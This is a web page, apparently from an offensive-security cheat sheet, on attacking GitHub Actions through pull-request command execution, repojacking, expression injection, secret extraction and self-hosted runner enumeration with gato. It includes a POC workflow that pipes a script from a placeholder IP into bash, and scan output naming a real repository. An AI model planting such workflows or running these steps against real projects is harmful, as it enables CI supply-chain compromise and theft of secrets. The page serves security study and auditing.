Skip to content

GitHub Actions

Default Action

The configuration files for GH actions are located in the directory .github/workflows/\ You can tell if the action builds pull requests based on its trigger (on) instructions:

on:
  push:
    branches:
      - master
  pull_request:

In order to run a command in an action that builds pull requests, add a run instruction to it.

jobs:
  print_issue_title:
    runs-on: ubuntu-latest
    name: Command execution
    steps:
    - run: echo whoami"

Misconfigured Actions

Analyze repositories to find misconfigured Github actions.

  • synacktiv/octoscan - Octoscan is a static vulnerability scanner for GitHub action workflows.
  • boostsecurityio/poutine - Poutine is a security scanner that detects misconfigurations and vulnerabilities in the build pipelines of a repository. It supports parsing CI workflows from GitHub Actions and Gitlab CI/CD.
    # Using Docker
    $ docker run ghcr.io/boostsecurityio/poutine:latest
    
    # Analyze a local repository
    $ poutine analyze_local .
    
    # Analyze a remote GitHub repository
    $ poutine -token "$GH_TOKEN" analyze_repo messypoutine/gravy-overflow
    
    # Analyze all repositories in a GitHub organization
    $ poutine -token "$GH_TOKEN" analyze_org messypoutine
    
    # Analyze all projects in a self-hosted Gitlab instance
    $ poutine -token "$GL_TOKEN" -scm gitlab -scm-base-uri https://example.com org/repo
    

Repo Jacking

When the action is using a non-existing action, Github username or organization.

- uses: non-existing-org/checkout-action

⚠ To protect against repojacking, GitHub employs a security mechanism that disallows the registration of previous repository names with 100 clones in the week before renaming or deleting the owner's account. The GitHub Actions Worm: Compromising GitHub Repositories Through the Actions Dependency Tree - Asi Greenholts

Untrusted Input Evaluation

An action may be vulnerable to command injection if it dynamically evaluates untrusted input as part of its run instruction:

jobs:
  print_issue_title:
    runs-on: ubuntu-latest
    name: Print issue title
    steps:
    - run: echo "${{github.event.issue.title}}"

Extract Sensitive Variables and Secrets

Variables are used for non-sensitive configuration data. They are accessible only by GitHub Actions in the context of this environment by using the variable context.

Secrets are encrypted environment variables. They are accessible only by GitHub Actions in the context of this environment by using the secret context.

jobs:
  build:
    runs-on: ubuntu-latest
    environment: env
    steps:
      - name: Access Secrets
        env:
            SUPER_SECRET_TOKEN: ${{ secrets.SUPER_SECRET_TOKEN }}
        run: |
            echo SUPER_SECRET_TOKEN=$SUPER_SECRET_TOKEN >> local.properties

Self-Hosted Runners

A self-hosted runner for GitHub Actions is a machine that you manage and maintain to run workflows from your GitHub repository. Unlike GitHub's own hosted runners, which operate on GitHub's infrastructure, self-hosted runners run on your own infrastructure. This allows for more control over the hardware, operating system, software, and security of the runner environment.

Scan a public GitHub Organization for Self-Hosted Runners

  • AdnaneKhan/Gato-X - Fork of Gato - Gato (Github Attack TOolkit) - Extreme Edition
  • praetorian-inc/gato - GitHub Actions Pipeline Enumeration and Attack Tool
    gato -s enumerate -t targetOrg -oJ target_org_gato.json
    

There are 2 types of self-hosted runners: non-ephemeral and ephemeral.

  • Ephemeral runners are short-lived, created to handle a single or limited number of jobs before being terminated. They provide isolation, scalability, and enhanced security since each job runs in a clean environment.
  • Non-ephemeral runners are long-lived, designed to handle multiple jobs over time. They offer consistency, customization, and can be cost-effective in stable environments where the overhead of provisioning new runners is unnecessary.

Identify the type of self-hosted runner with gato:

gato e --repository vercel/next.js
[+] The authenticated user is: swisskyrepo
[+] The GitHub Classic PAT has the following scopes: repo, workflow
    - Enumerating: vercel/next.js!
[+] The repository contains a workflow: build_and_deploy.yml that might execute on self-hosted runners!
[+] The repository vercel/next.js contains a previous workflow run that executed on a self-hosted runner!
    - The runner name was: nextjs-hel1-22 and the machine name was nextjs-hel1-22 and the runner type was repository in the Default group with the following labels: self-hosted, linux, x64, metal
[!] The repository contains a non-ephemeral self-hosted runner!
[-] The user can only pull from the repository, but forking is allowed! Only a fork pull-request based attack would be possible.

Example of workflow to run on a non-ephemeral runner:

name: POC
on:
  pull_request:

jobs:
  security:
    runs-on: non-ephemeral-runner-name

    steps:
      - name: cmd-exec
        run: |
          curl -k https://ip.ip.ip.ip/exec.sh | bash

References